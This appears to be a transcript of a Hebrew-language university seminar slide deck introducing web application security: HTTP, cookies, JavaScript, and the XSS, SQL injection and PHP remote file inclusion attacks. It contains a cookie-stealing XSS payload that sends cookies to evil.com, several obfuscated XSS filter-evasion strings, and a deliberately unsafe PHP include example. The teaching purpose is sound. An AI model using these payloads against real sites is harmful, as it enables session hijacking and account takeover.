Introduction to (Web) Application Security Or: things you will not learn in univerity. (ummmm…)...

48
Introduction to (Web) Application Security Or: things you will not learn in univerity . ) ummmm (… Yoav Goldberg BGU Software Engineering and Programming Languages Seminar
  • date post

    20-Dec-2015
  • Category

    Documents

  • view

    215
  • download

    0

Transcript of Introduction to (Web) Application Security Or: things you will not learn in univerity. (ummmm…)...

Page 1: Introduction to (Web) Application Security Or: things you will not learn in univerity. (ummmm…) Yoav Goldberg BGU Software Engineering and Programming.

Introduction to (Web) Application Security

Or: things you will not learn in univerity.

)ummmm(…

Yoav GoldbergBGU Software Engineering and Programming Languages Seminar

Page 2: Introduction to (Web) Application Security Or: things you will not learn in univerity. (ummmm…) Yoav Goldberg BGU Software Engineering and Programming.

שבוע שעבר

דריסת מחסנית• כדי להריץ קוד Cניצול של באג בתוכנית בשפת –

משלך.

Page 3: Introduction to (Web) Application Security Or: things you will not learn in univerity. (ummmm…) Yoav Goldberg BGU Software Engineering and Programming.

השבוע

העולם השתנה:•High Levelיותר ויותר שפות –שפות "מפורשנות"–ניהול זכרון אוטומטי–Cפחות ופחות קוד נכתב ב-–

העולם נשאר אותו הדבר:•מתכנתים עושים טעויות.–אסור לסמוך על משתמשים!–

Page 4: Introduction to (Web) Application Security Or: things you will not learn in univerity. (ummmm…) Yoav Goldberg BGU Software Engineering and Programming.

השבוע

עולם השתנה:•הרבה יותר קל לתכנת.–יש הרבה יותר מתכנתים.–יש הרבה יותר טעיות.–יש הרבה יותר באגים שאפשר לנצל.–

Page 5: Introduction to (Web) Application Security Or: things you will not learn in univerity. (ummmm…) Yoav Goldberg BGU Software Engineering and Programming.

השבוע

.Webסקירה של טכנולוגיית •

דוגמאות לבאגים נפוצים וכיצד משתמשים רעים •יכולים לנצל אותם.

Page 6: Introduction to (Web) Application Security Or: things you will not learn in univerity. (ummmm…) Yoav Goldberg BGU Software Engineering and Programming.

WEBמבוא קצרצר לטכנולוגיות

אני מניח שאתם יודעים מה הם:•–TCP/IPאתר אינטרנט––URL–Domain Name

(למרות שהוא אבל מי שלא יודע שלא יתבייש לשאול כנראה חי בעולם אחר משלנו)

Page 7: Introduction to (Web) Application Security Or: things you will not learn in univerity. (ummmm…) Yoav Goldberg BGU Software Engineering and Programming.

HTTPהבסיס:

הלקוח שולח בקשה לשרת. •השרת מחזיר תשובה.

). GET, POST, HEAD, PUT, DEL( סוגי בקשות 5•

.GETנתמקד בבקשת •

Page 8: Introduction to (Web) Application Security Or: things you will not learn in univerity. (ummmm…) Yoav Goldberg BGU Software Engineering and Programming.
Page 9: Introduction to (Web) Application Security Or: things you will not learn in univerity. (ummmm…) Yoav Goldberg BGU Software Engineering and Programming.
Page 10: Introduction to (Web) Application Security Or: things you will not learn in univerity. (ummmm…) Yoav Goldberg BGU Software Engineering and Programming.

GET /~yoavg/uni HTTP/1.1User-Agent: Opera/9.21 (Windows NT 5.1; U; en)Host: www.cs.bgu.ac.ilAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: en-US,en;q=0.9Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0Pragma: no-cacheCache-Control: no-cacheConnection: Keep-Alive

Page 11: Introduction to (Web) Application Security Or: things you will not learn in univerity. (ummmm…) Yoav Goldberg BGU Software Engineering and Programming.

HTTP/1.1 200 OKDate: Tue, 28 Aug 2007 09:07:56 GMTServer: Apache/2.0.54 (Unix) mod_ssl/2.0.54 OpenSSL/0.9.7d mod_jk/1.2.14Last-Modified: Sun, 29 Jul 2007 09:17:19 GMTContent-Length: 985Content-Type: text/html

<html><META http-equiv="Content-Type" content="text/html; charset=cp1255"> <head> <title>Yoav Goldberg</title> </head> <body> <center> <h1> Yoav Goldberg </h1> <h2> A <a href=brilliant.html>brilliant</a> <a ….

Page 12: Introduction to (Web) Application Security Or: things you will not learn in univerity. (ummmm…) Yoav Goldberg BGU Software Engineering and Programming.

HTTP/1.1 200 OKDate: Tue, 28 Aug 2007 09:07:56 GMTServer: Apache/2.0.54 (Unix) mod_ssl/2.0.54 OpenSSL/0.9.7d mod_jk/1.2.14Last-Modified: Sun, 29 Jul 2007 09:17:19 GMTContent-Length: 985Content-Type: text/html

<html><META http-equiv="Content-Type" content="text/html; charset=cp1255"> <head> <title>Yoav Goldberg</title> </head> <body> <center> <h1> Yoav Goldberg </h1> <h2> A <a href=brilliant.html>brilliant</a> <a ….

HTMLזה כתוב בשפת

Page 13: Introduction to (Web) Application Security Or: things you will not learn in univerity. (ummmm…) Yoav Goldberg BGU Software Engineering and Programming.

HTML

שפה לייצוג של מידע.•

משמשת להגדרת מבנה ותוכן של עמודי •אינטרנט.

דפדפנים יודעים לפרש אותה ולהציג תוכן גרפי •בהתאם.

Page 14: Introduction to (Web) Application Security Or: things you will not learn in univerity. (ummmm…) Yoav Goldberg BGU Software Engineering and Programming.

דפי אינטרנט דינמיים

מה שראינו עד כה היה סטטי – השרת ניגש לקובץ •בדיסק ומחזיר את תוכנו.

זה קצת משעמם.•השלב הבא, תוכן דינמי: •

השרת מקבל בקשה מהלקוח.–השרת מעביר את הבקשה כקלט לתוכנה.–התוכנה מבצעת חישוב ומחזירה פלט.–השרת מחזיר את הפלט למשתמש.–

, …CGI, ASP/PHPטכנולוגית: •

Page 15: Introduction to (Web) Application Security Or: things you will not learn in univerity. (ummmm…) Yoav Goldberg BGU Software Engineering and Programming.

דוגמה פשוטה

Page 16: Introduction to (Web) Application Security Or: things you will not learn in univerity. (ummmm…) Yoav Goldberg BGU Software Engineering and Programming.

מסדי נתונים

בדוגמה שלנו כל התשובות היו מקודדות בגוף •התוכנית.

כמובן שאפשר גם לקרוא/לכתוב לקבצים.•

או לתקשר עם מסד נתונים באמצעות שפת •SQL.

Page 17: Introduction to (Web) Application Security Or: things you will not learn in univerity. (ummmm…) Yoav Goldberg BGU Software Engineering and Programming.
Page 18: Introduction to (Web) Application Security Or: things you will not learn in univerity. (ummmm…) Yoav Goldberg BGU Software Engineering and Programming.

האפשרויות כמעט בלתי מוגבלות

ספר-אורחים.•

ספר טלפון.•

מנוע חיפוש.•

בלוג.•

•Wiki.

•...

Page 19: Introduction to (Web) Application Security Or: things you will not learn in univerity. (ummmm…) Yoav Goldberg BGU Software Engineering and Programming.

אבל משהו עדיין חסר

.Stateless הוא פרוטוקול HTTPפרוטוקול •באמצעות המודל שראינו עד עכשיו יהיה קשה לממש –

).Webmail(לדוגמה תוכנה שיש לה יותר ממצב אחד

Cookiesהפתרון: •"עוגיות" הן פרטי מידע שהשרת שומר אצל הלקוח. –

הלקוח מבחינתו שולח אותן בחזרה לשרת בכל בקשה.על פי ערך העוגיה, השרת יודע מי פונה אליו ומגיב –

בהתאם.

Page 20: Introduction to (Web) Application Security Or: things you will not learn in univerity. (ummmm…) Yoav Goldberg BGU Software Engineering and Programming.

C is for cookie

.Webעוגיות + שפות-צד-שרת = אפליקציות •

במרבית האפליקציות, העוגיה מזהה באופן •ייחודי את המשתמש.

..Webmailפסאודו-קוד לעמוד בתוכנת •

Page 21: Introduction to (Web) Application Security Or: things you will not learn in univerity. (ummmm…) Yoav Goldberg BGU Software Engineering and Programming.
Page 22: Introduction to (Web) Application Security Or: things you will not learn in univerity. (ummmm…) Yoav Goldberg BGU Software Engineering and Programming.

אז מה ראינו...

•HTTP.

•HTML.

דפים דינמיים.•

שימוש במסדי נתונים.•

עוגיות.•

Page 23: Introduction to (Web) Application Security Or: things you will not learn in univerity. (ummmm…) Yoav Goldberg BGU Software Engineering and Programming.

DHTML+Javascript

"אין מספיק מקומות שמריצים קוד, בואו נספק יכולת הרצת קוד גם לדפדפן!"

•DOM תקן המייצג את העמוד המוצג בדפדפן :כהיררכיה של אובייקטים.

יכולים להכיל קוד שפועל על HTMLדפי •האובייקטים האלו.

הדפדפן יודע לפרש את הקוד הזה.•VBScript / Javascriptשפות: •

Page 24: Introduction to (Web) Application Security Or: things you will not learn in univerity. (ummmm…) Yoav Goldberg BGU Software Engineering and Programming.

דוגמה...

Page 25: Introduction to (Web) Application Security Or: things you will not learn in univerity. (ummmm…) Yoav Goldberg BGU Software Engineering and Programming.

DHTML / Javascript

משמש בעיקר לממשקים נוחים יותר:•תפריטים––Form Validationהודעות יפות למשתמש–באנרים קופצים ופרסומות מאאגניבות.–

Page 26: Introduction to (Web) Application Security Or: things you will not learn in univerity. (ummmm…) Yoav Goldberg BGU Software Engineering and Programming.

Webאפליקציית

משתמש

דפדפן

שרתWEB

מסד נתונים

דפדפן

משתמש

Page 27: Introduction to (Web) Application Security Or: things you will not learn in univerity. (ummmm…) Yoav Goldberg BGU Software Engineering and Programming.

Webאפליקציית

משתמש

דפדפן

שרתWEB

מסד נתונים

דפדפן

משתמש

מריץ קוד

מריץ קוד

מריץ קוד

Page 28: Introduction to (Web) Application Security Or: things you will not learn in univerity. (ummmm…) Yoav Goldberg BGU Software Engineering and Programming.

תקיפה ראשונה

משתמש

דפדפן

שרתWEB

מסד נתונים

דפדפן

משתמש

XSS

Page 29: Introduction to (Web) Application Security Or: things you will not learn in univerity. (ummmm…) Yoav Goldberg BGU Software Engineering and Programming.

XSS

מקבלות מהמשתמש מידע, Webאפליקציות •מעבדות אותו, ומציגות אותו חזרה למשתמש.

זה יכול להיות מסוכן...•

Page 30: Introduction to (Web) Application Security Or: things you will not learn in univerity. (ummmm…) Yoav Goldberg BGU Software Engineering and Programming.
Page 31: Introduction to (Web) Application Security Or: things you will not learn in univerity. (ummmm…) Yoav Goldberg BGU Software Engineering and Programming.

XSS

אוקיי, אז גרמתי לדפדפן של עצמי להריץ קוד •שהאתר החזיר לי. אז מה?

להריץ דפדפן של מישהו אחר אפשר לגרום גם ל•את אותו הקוד.

Page 32: Introduction to (Web) Application Security Or: things you will not learn in univerity. (ummmm…) Yoav Goldberg BGU Software Engineering and Programming.
Page 33: Introduction to (Web) Application Security Or: things you will not learn in univerity. (ummmm…) Yoav Goldberg BGU Software Engineering and Programming.

XSS

אוקיי, אני יכול להריץ קוד בדפדפן של משתמש •אחר. אז??

Page 34: Introduction to (Web) Application Security Or: things you will not learn in univerity. (ummmm…) Yoav Goldberg BGU Software Engineering and Programming.

XSS

אוקיי, אני יכול להריץ קוד בדפדפן של משתמש •אחר. אז??

הקוד אצל המשתמש האחר רץ בקונטקסט של •האתר הפגיע. אז אפשר לקרוא את העוגיה שלו

באתר זה:<script>alert(document.cookie)</script>

Page 35: Introduction to (Web) Application Security Or: things you will not learn in univerity. (ummmm…) Yoav Goldberg BGU Software Engineering and Programming.

XSS

אוקיי, אני יכול להריץ קוד בדפדפן של משתמש •אחר. אז??

הקוד אצל המשתמש האחר רץ בקונטקסט של •האתר הפגיע. אז אפשר לקרוא את העוגיה שלו

באתר זה:<script>alert(document.cookie)</script>

אני אבל הקוד הזה רק מציג חלון עם העוגיה. איך •מקבל את הערך שלה?

<img id=i width=0 height=0><script>i.src=“http://evil.com/log.php?c=“+document.cookie</script>

Page 36: Introduction to (Web) Application Security Or: things you will not learn in univerity. (ummmm…) Yoav Goldberg BGU Software Engineering and Programming.

XSS

ההתקפה הכי נפוצה:•קבלת העוגיה של משתמש אחר באתר.–

יש גם דברים מתחכמים יותר:•–xss-proxy

Page 37: Introduction to (Web) Application Security Or: things you will not learn in univerity. (ummmm…) Yoav Goldberg BGU Software Engineering and Programming.

XSS

לקח: •אם הפלט מכיל גם קלט ממשתמש, לסנן אותו לפני –

ההצגה.קל להגיד, קשה לעשות•

Page 38: Introduction to (Web) Application Security Or: things you will not learn in univerity. (ummmm…) Yoav Goldberg BGU Software Engineering and Programming.

איזו מהמחרוזות הבאות לא מריצה קוד?

<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

<IMG SRC="jav ascript:alert('XSS');">

<<SCRIPT>alert("XSS");//<</SCRIPT>

<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

Page 39: Introduction to (Web) Application Security Or: things you will not learn in univerity. (ummmm…) Yoav Goldberg BGU Software Engineering and Programming.

תקיפה שניה

משתמש

דפדפן

שרתWEB

מסד נתונים

דפדפן

משתמש

SQL Injection

Page 40: Introduction to (Web) Application Security Or: things you will not learn in univerity. (ummmm…) Yoav Goldberg BGU Software Engineering and Programming.

SQL Injection

כדי לגנוב עוגיה, XSSנניח שלא הצלחנו לבצע • רוצים להתחבר לאתר שאין לנו ממשואנחנו

ססמה אליו.

Loginתזכורת: ככה עובדים הרבה מנגנוני •(גרועים).

Page 41: Introduction to (Web) Application Security Or: things you will not learn in univerity. (ummmm…) Yoav Goldberg BGU Software Engineering and Programming.

SQL Injection

היי, טריק נחמד.•

SQL Injectionאפשר לעשות עוד דברים עם ה-•הזה?

בטח!•

Page 42: Introduction to (Web) Application Security Or: things you will not learn in univerity. (ummmm…) Yoav Goldberg BGU Software Engineering and Programming.

תקיפה שלישית

משתמש

דפדפן

שרתWEB

מסד נתונים

דפדפן

משתמש

PHP Remote File Inclusion

Page 43: Introduction to (Web) Application Security Or: things you will not learn in univerity. (ummmm…) Yoav Goldberg BGU Software Engineering and Programming.

PHP File Inclusion

אנחנו יודעים לגנוב עוגיות כדי להתחזות למישהו •אחר (וגם לשלוט לגמרי בדפדפן של משתמש).

ואנחנו יודעים להכנס לאתרים למרות שאין לנו •ססמה, וגם לקרוא מסדי נתונים שאין לנו גישה

אליהם.

מה עוד אפשר לבקש??•

Page 44: Introduction to (Web) Application Security Or: things you will not learn in univerity. (ummmm…) Yoav Goldberg BGU Software Engineering and Programming.

הרעיון

המאפשרת ”include“ קיימת הפקודה PHPב-•לכלול תוכן של קובץ:

<?php

include(“afile.php”);

?>

הקובץ יכול להיות גם על מחשב מרוחק:•<?php include(“http://bla.com/bla/bla.txt”) ?>

Page 45: Introduction to (Web) Application Security Or: things you will not learn in univerity. (ummmm…) Yoav Goldberg BGU Software Engineering and Programming.

הרעיון

מתכנת לא זהיר יכול לבצע משהו כזה:•

<?php include($file_name) ?>

Page 46: Introduction to (Web) Application Security Or: things you will not learn in univerity. (ummmm…) Yoav Goldberg BGU Software Engineering and Programming.

דוגמה מתוכנה אמיתית

Page 47: Introduction to (Web) Application Security Or: things you will not learn in univerity. (ummmm…) Yoav Goldberg BGU Software Engineering and Programming.

אז מה עושים?

ברמת המתכנת – נזהרים.•

ברמת הפלטפורמה??•פתרונות חלקיים:

•Perl taint

•magic_quotes_on

•don’t open remote files in php..

Page 48: Introduction to (Web) Application Security Or: things you will not learn in univerity. (ummmm…) Yoav Goldberg BGU Software Engineering and Programming.

זהו, נגמר.